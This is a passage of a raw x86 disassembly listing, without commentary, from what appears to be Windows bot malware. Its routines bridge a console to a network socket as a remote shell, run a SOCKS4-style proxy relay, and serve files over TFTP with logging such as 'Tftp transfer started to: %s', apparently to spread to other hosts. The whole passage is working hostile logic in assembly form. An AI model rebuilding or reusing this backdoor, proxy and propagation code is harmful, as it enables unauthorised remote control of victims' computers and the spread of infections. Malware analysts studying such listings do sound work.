sub_410A31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B0A	proc near		; DATA XREF: sub_4107E7+3Fo

var_1B0		= byte ptr -1B0h
var_C8		= byte ptr -0C8h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1B0h
		push	ebx
		push	esi
		mov	ebx, dword_4F13A4
		push	edi
		mov	edi, [ebp+arg_0]
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]


loc_410B33:				; CODE XREF: sub_410B0A+8Fj
		call	ebx	; ReadFile
		test	eax, eax
		jz	short loc_410B9B
		xor	eax, eax
		xor	dl, dl
		xor	esi, esi
		cmp	[ebp+arg_0], eax
		jbe	short loc_410B6E


loc_410B44:				; CODE XREF: sub_410B0A+62j
		mov	cl, [ebp+esi+var_C8]
		cmp	cl, 0Ah
		jnz	short loc_410B5E
		cmp	dl, 0Dh
		jz	short loc_410B5E
		mov	[ebp+eax+var_1B0], 0Dh
		inc	eax


loc_410B5E:				; CODE XREF: sub_410B0A+44j
					; sub_410B0A+49j
		mov	[ebp+eax+var_1B0], cl
		inc	eax
		inc	esi
		mov	dl, cl
		cmp	esi, [ebp+arg_0]
		jb	short loc_410B44


loc_410B6E:				; CODE XREF: sub_410B0A+38j
		push	0
		push	eax
		lea	eax, [ebp+var_1B0]
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E08EC
		test	eax, eax
		jle	short loc_410B9B
		lea	eax, [ebp+arg_0]
		push	0
		push	eax
		lea	eax, [ebp+var_C8]
		push	0C8h
		push	eax
		push	dword ptr [edi]
		jmp	short loc_410B33
; ---------------------------------------------------------------------------


loc_410B9B:				; CODE XREF: sub_410B0A+2Dj
					; sub_410B0A+79j
		mov	esi, dword_4F1348
		call	esi	; RtlGetLastWin32Error
		cmp	eax, 6Dh
		jz	short loc_410BB7
		call	esi	; RtlGetLastWin32Error
		push	eax
		push	offset unk_44C5B0
		call	sub_4145FE
		pop	ecx
		pop	ecx


loc_410BB7:				; CODE XREF: sub_410B0A+9Cj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410B0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410BBC	proc near		; DATA XREF: sub_4107E7+71o

var_DC		= byte ptr -0DCh
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0DCh
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx


loc_410BD5:				; CODE XREF: sub_410BBC+39j
					; sub_410BBC+D7j ...
		push	ebx
		lea	eax, [ebp+arg_0+3]
		push	1
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E08B8
		test	eax, eax
		jle	loc_410CDA
		cmp	[ebp+var_10], ebx
		jbe	short loc_410BF7
		dec	[ebp+var_10]
		jmp	short loc_410BD5
; ---------------------------------------------------------------------------


loc_410BF7:				; CODE XREF: sub_410BBC+34j
		mov	al, byte ptr [ebp+arg_0+3]
		movsx	ecx, al
		cmp	ecx, 0FFh
		jz	loc_410CBA
		cmp	al, 8
		mov	[ebp+var_C], ebx
		jz	short loc_410C67
		cmp	al, 7Fh
		jz	short loc_410C67
		cmp	al, 3
		jnz	short loc_410C22
		push	ebx
		push	ebx
		call	dword_4F13E8	; GenerateConsoleCtrlEvent
		jmp	short loc_410C8E
; ---------------------------------------------------------------------------


loc_410C22:				; CODE XREF: sub_410BBC+5Aj
		cmp	al, 15h
		jnz	short loc_410C44
		xor	esi, esi
		mov	[ebp+var_8], 20h
		mov	[ebp+var_7], 58h
		mov	[ebp+var_6], 58h
		mov	[ebp+var_5], 58h
		mov	[ebp+var_4], 0Dh
		mov	[ebp+var_3], 0Ah
		push	6
		jmp	short loc_410C7A
; ---------------------------------------------------------------------------


loc_410C44:				; CODE XREF: sub_410BBC+68j
		mov	[ebp+esi+var_DC], al
		inc	esi
		push	1
		cmp	al, 0Dh
		mov	[ebp+var_8], al
		pop	ecx
		jnz	short loc_410C7B
		mov	[ebp+esi+var_DC], 0Ah
		mov	[ebp+var_7], 0Ah
		inc	esi
		push	2
		jmp	short loc_410C7A
; ---------------------------------------------------------------------------


loc_410C67:				; CODE XREF: sub_410BBC+52j
					; sub_410BBC+56j
		cmp	esi, ebx
		jbe	short loc_410C91
		dec	esi
		mov	[ebp+var_8], 8
		mov	[ebp+var_7], 20h
		mov	[ebp+var_6], 8
		push	3


loc_410C7A:				; CODE XREF: sub_410BBC+86j
					; sub_410BBC+A9j
		pop	ecx


loc_410C7B:				; CODE XREF: sub_410BBC+98j
		push	ebx
		lea	eax, [ebp+var_8]
		push	ecx
		push	eax
		push	dword ptr [edi+0Ch]
		call	dword_4E08EC
		test	eax, eax
		jle	short loc_410CDA


loc_410C8E:				; CODE XREF: sub_410BBC+64j
		mov	al, byte ptr [ebp+arg_0+3]


loc_410C91:				; CODE XREF: sub_410BBC+ADj
		cmp	al, 0Dh
		jnz	loc_410BD5
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_DC]
		push	esi
		push	eax
		push	dword ptr [edi+4]
		call	dword_4F139C	; WriteFile
		test	eax, eax
		jz	short loc_410CDA
		xor	esi, esi
		jmp	loc_410BD5
; ---------------------------------------------------------------------------


loc_410CBA:				; CODE XREF: sub_410BBC+47j
		cmp	[ebp+var_C], ebx
		jnz	short loc_410CCB
		mov	[ebp+var_C], 1
		jmp	loc_410BD5
; ---------------------------------------------------------------------------


loc_410CCB:				; CODE XREF: sub_410BBC+101j
		mov	[ebp+var_10], 0Ah
		mov	[ebp+var_C], ebx
		jmp	loc_410BD5
; ---------------------------------------------------------------------------


loc_410CDA:				; CODE XREF: sub_410BBC+2Bj
					; sub_410BBC+D0j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_410BBC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CDF	proc near		; DATA XREF: sub_401CC1+2762o

var_2D4		= byte ptr -2D4h
var_D4		= dword	ptr -0D4h
var_D0		= byte ptr -0D0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	10h
		mov	esi, eax
		pop	ebx
		lea	edi, [ebp+var_D4]
		push	2Ch
		mov	[ebp+var_4], ebx
		pop	ecx
		rep movsd
		push	1
		xor	esi, esi
		pop	edi
		mov	[eax+0A8h], edi
		push	ebx
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+var_40]
		call	dword_4E08A0
		push	6
		push	edi
		push	2
		mov	[ebp+var_12], ax
		mov	[ebp+var_10], esi
		call	dword_4E091C
		mov	edi, eax
		mov	eax, [ebp+var_3C]
		imul	eax, 234h
		push	ebx
		mov	dword_4537D4[eax], edi
		lea	eax, [ebp+var_14]
		push	eax
		push	edi
		call	dword_4E08CC
		test	eax, eax
		jnz	loc_410E81
		push	0Ah
		push	edi
		call	dword_4E08C8
		test	eax, eax
		jnz	loc_410E81
		push	[ebp+var_40]
		push	[ebp+var_D4]
		call	sub_40A019
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44C5EC
		push	eax
		call	sub_41B740
		add	esp, 10h
		cmp	[ebp+var_30], esi
		jnz	short loc_410DBA
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408EB9
		add	esp, 14h


loc_410DBA:				; CODE XREF: sub_410CDF+B9j
					; sub_410CDF+172j ...
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41458A
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		push	edi
		call	dword_4E0930
		push	[ebp+var_3C]
		mov	ebx, eax
		movzx	eax, [ebp+var_22]
		push	eax
		mov	[ebp+var_28], esi
		push	[ebp+var_20]
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44C614
		push	eax
		call	sub_41B740
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	19h
		push	eax
		call	sub_40A7FD
		mov	[ebp+var_38], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_3C]
		add	esp, 20h
		mov	dword_4537CC[eax], ecx
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_D4]
		push	esi
		push	eax
		push	offset sub_410EE4
		push	esi
		push	esi
		call	dword_4F1338	; CreateThread
		mov	ecx, [ebp+var_38]
		imul	ecx, 234h
		cmp	eax, esi
		mov	dword_4537DC[ecx], eax
		jz	short loc_410E61


loc_410E4E:				; CODE XREF: sub_410CDF+180j
		cmp	[ebp+var_28], esi
		jnz	loc_410DBA
		push	5
		call	dword_4F1334	; Sleep
		jmp	short loc_410E4E
; ---------------------------------------------------------------------------


loc_410E61:				; CODE XREF: sub_410CDF+16Dj
		call	dword_4F1348	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2D4]
		push	offset dword_44C658
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		jmp	loc_410DBA
; ---------------------------------------------------------------------------


loc_410E81:				; CODE XREF: sub_410CDF+7Bj
					; sub_410CDF+8Cj
		push	edi
		call	dword_4E0934
		push	[ebp+var_40]
		lea	eax, [ebp+var_2D4]
		push	offset dword_44C694
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_410EC4
		push	esi
		lea	eax, [ebp+var_2D4]
		push	[ebp+var_34]
		push	eax
		lea	eax, [ebp+var_D0]
		push	eax
		push	[ebp+var_D4]
		call	sub_408EB9
		add	esp, 14h


loc_410EC4:				; CODE XREF: sub_410CDF+1C3j
		lea	eax, [ebp+var_2D4]
		push	eax
		call	sub_41458A
		push	[ebp+var_3C]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4F1388	; ExitThread
		pop	edi
		pop	esi
		pop	ebx
sub_410CDF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410EE4	proc near		; DATA XREF: sub_410CDF+14Fo

var_5D4		= dword	ptr -5D4h
var_5D0		= dword	ptr -5D0h
var_4D0		= byte ptr -4D0h
var_4CF		= byte ptr -4CFh
var_4CE		= word ptr -4CEh
var_4CC		= dword	ptr -4CCh
var_4C8		= byte ptr -4C8h
var_C8		= byte ptr -0C8h
var_44		= byte ptr -44h
var_2C		= dword	ptr -2Ch
var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 5D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	2Ch
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_C8]
		rep movsd
		mov	esi, [ebp+var_2C]
		push	1
		mov	[ebp+arg_0], esi
		imul	esi, 234h
		pop	edi
		lea	esi, dword_4537D4[esi]
		mov	[eax+0ACh], edi
		xor	ebx, ebx
		mov	eax, [esi]
		mov	[ebp+var_8], 5
		mov	[ebp+var_5D0], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		lea	eax, [ebp+var_5D4]
		push	ebx
		push	eax
		push	ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_5D4], edi
		call	dword_4E0888
		test	eax, eax
		jnz	short loc_410F65
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_410F65:				; CODE XREF: sub_410EE4+67j
		push	ebx
		lea	eax, [ebp+var_4D0]
		push	408h
		push	eax
		push	dword ptr [esi]
		call	dword_4E08B8
		test	eax, eax
		jg	short loc_410F96
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_410F96:				; CODE XREF: sub_410EE4+98j
		cmp	[ebp+var_4D0], 4
		jnz	loc_411190
		cmp	[ebp+var_4CF], 1
		jnz	loc_411190
		cmp	[ebp+var_44], bl
		jz	short loc_41102C
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		call	sub_41C4C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41102C
		lea	eax, [ebp+var_44]
		push	eax
		lea	eax, [ebp+var_4C8]
		push	eax
		push	offset dword_44C6C8
		call	sub_4145FE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Dh
		call	sub_41B190
		add	esp, 18h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E08EC
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_41102C:				; CODE XREF: sub_410EE4+CFj
					; sub_410EE4+E5j
		push	10h
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		call	sub_41B190
		mov	ax, [ebp+var_4CE]
		add	esp, 0Ch
		mov	[ebp+var_16], ax
		mov	eax, [ebp+var_4CC]
		push	6
		push	edi
		push	2
		mov	[ebp+var_18], 2
		mov	[ebp+var_14], eax
		call	dword_4E091C
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4110C4
		call	dword_4E083C
		push	eax
		push	offset dword_44C708
		call	sub_4145FE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41B190
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E08EC
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_4110C4:				; CODE XREF: sub_410EE4+181j
		lea	eax, [ebp+var_18]
		push	10h
		push	eax
		push	edi
		call	dword_4E084C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_411133
		call	dword_4E083C
		push	eax
		push	offset dword_44C748
		call	sub_4145FE
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Bh
		call	sub_41B190
		add	esp, 14h
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E08EC
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411133:				; CODE XREF: sub_410EE4+1F0j
		push	400h
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		mov	[ebp+var_4D0], bl
		mov	[ebp+var_4CF], 5Ah
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_4D0]
		push	ebx
		push	8
		push	eax
		push	dword ptr [esi]
		call	dword_4E08EC
		push	dword ptr [esi]
		push	edi
		call	sub_4111A8
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4E0934
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411190:				; CODE XREF: sub_410EE4+B9j
					; sub_410EE4+C6j
		push	dword ptr [esi]
		call	dword_4E0934
		push	[ebp+arg_0]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread
sub_410EE4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4111A8	proc near		; CODE XREF: sub_410EE4+286p

var_504		= byte ptr -504h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 504h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, 400h


loc_4111BE:				; CODE XREF: sub_4111A8+C5j
					; sub_4111A8+F5j
		mov	[ebp+var_100], ebx
		mov	[ebp+var_104], 1
		xor	ecx, ecx
		lea	eax, [ebp+var_100]


loc_4111D6:				; CODE XREF: sub_4111A8+3Cj
		mov	edx, [ebp+arg_0]
		cmp	[eax], edx
		jz	short loc_4111E6
		inc	ecx
		add	eax, 4
		cmp	ecx, 1
		jb	short loc_4111D6


loc_4111E6:				; CODE XREF: sub_4111A8+33j
		cmp	ecx, 1
		jnz	short loc_4111FB
		mov	[ebp+var_FC], edx
		mov	[ebp+var_104], 2


loc_4111FB:				; CODE XREF: sub_4111A8+41j
		push	esi
		lea	eax, [ebp+var_504]
		push	edi
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_104]
		push	edi
		push	edi
		push	edi
		push	eax
		push	edi
		call	dword_4E0888
		lea	eax, [ebp+var_104]
		push	eax
		push	ebx
		call	dword_4E079C
		test	eax, eax
		jz	short loc_41125B
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	ebx
		call	dword_4E08B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4112A3
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4112A3


loc_41125B:				; CODE XREF: sub_4111A8+85j
		lea	eax, [ebp+var_104]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E079C
		test	eax, eax
		jz	loc_4111BE
		push	edi
		lea	eax, [ebp+var_504]
		push	esi
		push	eax
		push	[ebp+arg_0]
		call	dword_4E08B8
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4112A3
		push	edi
		push	eax
		lea	eax, [ebp+var_504]
		push	eax
		push	ebx
		call	dword_4E08EC
		cmp	eax, 0FFFFFFFFh
		jnz	loc_4111BE


loc_4112A3:				; CODE XREF: sub_4111A8+9Aj
					; sub_4111A8+B1j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4111A8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4112A8	proc near		; CODE XREF: sub_4112A8:loc_411719p
					; DATA XREF: sub_401CC1+1C45o ...

var_87C		= dword	ptr -87Ch
var_878		= dword	ptr -878h
var_778		= byte ptr -778h
var_578		= byte ptr -578h
var_577		= byte ptr -577h
var_576		= byte ptr -576h
var_575		= byte ptr -575h
var_574		= byte ptr -574h
var_374		= dword	ptr -374h
var_370		= byte ptr -370h
var_26C		= byte ptr -26Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_160		= dword	ptr -160h
var_15C		= byte ptr -15Ch
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D0		= byte ptr -0D0h
var_CF		= byte ptr -0CFh
var_CE		= byte ptr -0CEh
var_CD		= byte ptr -0CDh
var_50		= byte ptr -50h
var_3C		= byte ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= word ptr -2Ch
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 87Ch
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	1
		xor	ebx, ebx
		pop	eax
		mov	ecx, 0A9h
		mov	esi, edx
		lea	edi, [ebp+var_374]
		push	ebx
		push	2
		rep movsd
		inc	[ebp+var_164]
		push	2
		mov	[ebp+var_10], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], eax
		mov	[edx+2A0h], eax
		call	dword_4E091C
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_411348
		push	190h
		call	dword_4F1334	; Sleep
		cmp	[ebp+var_D8], ebx
		jnz	short loc_411328
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408EB9
		add	esp, 14h


loc_411328:				; CODE XREF: sub_4112A8+5Bj
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_41458A
		push	[ebp+var_168]
		call	sub_40AB19
		pop	ecx
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411348:				; CODE XREF: sub_4112A8+48j
		lea	eax, [ebp+var_10]
		push	4
		push	eax
		mov	edi, 0FFFFh
		push	4
		push	edi
		push	esi
		call	dword_4E0880
		lea	eax, [ebp+var_14]
		push	4
		push	eax
		push	0FFFFFFFBh
		push	edi
		push	esi
		call	dword_4E0880
		mov	eax, [ebp+var_168]
		push	10h
		imul	eax, 234h
		push	ebx
		mov	dword_4537D4[eax], esi
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41B190
		add	esp, 0Ch
		mov	[ebp+var_2C], 2
		push	[ebp+var_160]
		call	dword_4E08A0
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_2C]
		push	10h
		push	eax
		push	esi
		mov	[ebp+var_28], ebx
		call	dword_4E08CC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4113D2
		push	1388h
		call	dword_4F1334	; Sleep
		dec	[ebp+var_164]
		push	[ebp+arg_0]
		jmp	loc_411719
; ---------------------------------------------------------------------------


loc_4113D2:				; CODE XREF: sub_4112A8+10Fj
		lea	eax, [ebp+var_370]
		push	offset aRb_0	; "rb"
		push	eax
		call	sub_41B170
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jnz	short loc_411438
		push	190h
		call	dword_4F1334	; Sleep
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408EB9
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_41458A
		push	[ebp+var_168]
		call	sub_40AB19
		add	esp, 1Ch
		push	ebx
		call	dword_4F1388	; ExitThread


loc_411438:				; CODE XREF: sub_4112A8+142j
					; sub_4112A8+42Bj
		mov	edi, [ebp+arg_0]
		cmp	[edi+2A0h], ebx
		jz	loc_4116DC
		mov	edi, 80h
		lea	eax, [ebp+var_D0]
		push	edi
		push	ebx
		push	eax
		mov	[ebp+var_1C], 5
		mov	[ebp+var_18], 1388h
		mov	[ebp+var_878], esi
		mov	[ebp+var_87C], 1
		call	sub_41B190
		add	esp, 0Ch
		lea	eax, [ebp+var_1C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_87C]
		push	ebx
		push	eax
		push	ebx
		call	dword_4E0888
		test	eax, eax
		jle	loc_4116D0
		mov	al, byte_4E364C
		mov	ecx, edi
		mov	[ebp+var_578], al
		xor	eax, eax
		lea	edi, [ebp+var_577]
		mov	[ebp+var_C], 10h
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		lea	eax, [ebp+var_D0]
		push	80h
		push	eax
		push	esi
		call	dword_4E0878
		push	[ebp+var_38]
		mov	[ebp+var_8], eax
		call	dword_4E0928
		push	eax
		lea	eax, [ebp+var_50]
		push	eax
		call	sub_41B740
		cmp	[ebp+var_D0], bl
		pop	ecx
		pop	ecx
		jnz	loc_4116BA
		cmp	[ebp+var_CF], 1
		jnz	loc_4115C0
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_418D00
		push	ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_41DCC0
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		push	200h
		push	1
		push	eax
		mov	[ebp+var_576], bl
		mov	[ebp+var_575], 1
		call	sub_41AE60
		add	esp, 20h
		lea	ecx, [ebp+var_3C]
		mov	[ebp+var_8], eax
		add	eax, 4
		push	[ebp+var_C]
		push	ecx
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E0900
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferSt ; "Tftp transfer	started	to: %s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4115AE
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408EB9
		add	esp, 14h


loc_4115AE:				; CODE XREF: sub_4112A8+2E1j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_41458A
		pop	ecx
		jmp	loc_4116D0
; ---------------------------------------------------------------------------


loc_4115C0:				; CODE XREF: sub_4112A8+257j
		cmp	[ebp+var_CF], 4
		jnz	loc_4116BA
		mov	cl, [ebp+var_CD]
		mov	al, [ebp+var_CE]
		cmp	cl, 0FFh
		mov	[ebp+var_578], bl
		mov	[ebp+var_577], 3
		jnz	short loc_4115FD
		inc	al
		xor	cl, cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], bl
		jmp	short loc_41160B
; ---------------------------------------------------------------------------


loc_4115FD:				; CODE XREF: sub_4112A8+341j
		inc	cl
		mov	[ebp+var_576], al
		mov	[ebp+var_575], cl


loc_41160B:				; CODE XREF: sub_4112A8+353j
		movzx	eax, al
		movzx	ecx, cl
		shl	eax, 8
		add	eax, ecx
		mov	edi, 200h
		shl	eax, 9
		sub	eax, edi
		push	ebx
		push	eax
		push	[ebp+var_4]
		call	sub_41DCC0
		push	[ebp+var_4]
		lea	eax, [ebp+var_574]
		push	edi
		push	1
		push	eax
		call	sub_41AE60
		add	esp, 1Ch
		mov	edi, eax
		lea	eax, [ebp+var_3C]
		mov	[ebp+var_8], edi
		push	[ebp+var_C]
		push	eax
		lea	eax, [edi+4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_578]
		push	eax
		push	esi
		call	dword_4E0900
		cmp	edi, ebx
		jnz	short loc_4116D0
		lea	eax, [ebp+var_50]
		push	eax
		lea	eax, [ebp+var_778]
		push	offset aTftpTransferCo ; "Tftp transfer	complete to: %s"
		push	eax
		call	sub_41B740
		add	esp, 0Ch
		cmp	[ebp+var_D8], ebx
		jnz	short loc_4116A5
		push	ebx
		lea	eax, [ebp+var_778]
		push	[ebp+var_DC]
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		push	[ebp+var_374]
		call	sub_408EB9
		add	esp, 14h


loc_4116A5:				; CODE XREF: sub_4112A8+3D8j
		lea	eax, [ebp+var_778]
		push	eax
		call	sub_41458A
		inc	dword_4E33BC
		pop	ecx
		jmp	short loc_4116D0
; ---------------------------------------------------------------------------


loc_4116BA:				; CODE XREF: sub_4112A8+24Aj
					; sub_4112A8+31Fj
		push	[ebp+var_C]
		lea	eax, [ebp+var_3C]
		push	eax
		push	ebx
		push	9
		push	offset dword_44C7D8
		push	esi
		call	dword_4E0900


loc_4116D0:				; CODE XREF: sub_4112A8+1E9j
					; sub_4112A8+313j ...
		cmp	[ebp+var_8], ebx
		jg	loc_411438
		mov	edi, [ebp+arg_0]


loc_4116DC:				; CODE XREF: sub_4112A8+199j
		push	esi
		call	dword_4E0934
		push	[ebp+var_4]
		call	sub_418D80
		dec	[ebp+var_164]
		cmp	[edi+2A0h], ebx
		pop	ecx
		jnz	short loc_41170D
		push	[ebp+var_168]
		call	sub_40AB19
		pop	ecx
		push	ebx
		call	dword_4F1388	; ExitThread


loc_41170D:				; CODE XREF: sub_4112A8+450j
		push	3E8h
		call	dword_4F1334	; Sleep
		push	edi


loc_411719:				; CODE XREF: sub_4112A8+125j
		call	sub_4112A8
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_4112A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_411725	proc near		; CODE XREF: sub_411A34+213p
					; sub_411A34+239p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_4E3650, eax
		mov	eax, offset dword_4E3650
		retn
sub_411725	endp


; =============== S U B	R O U T	I N E =======================================



sub_411734	proc near		; CODE XREF: sub_411A34+2BFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	offset dword_44C7E4
		push	esi
		call	sub_41B890
		pop	ecx
		test	eax, eax
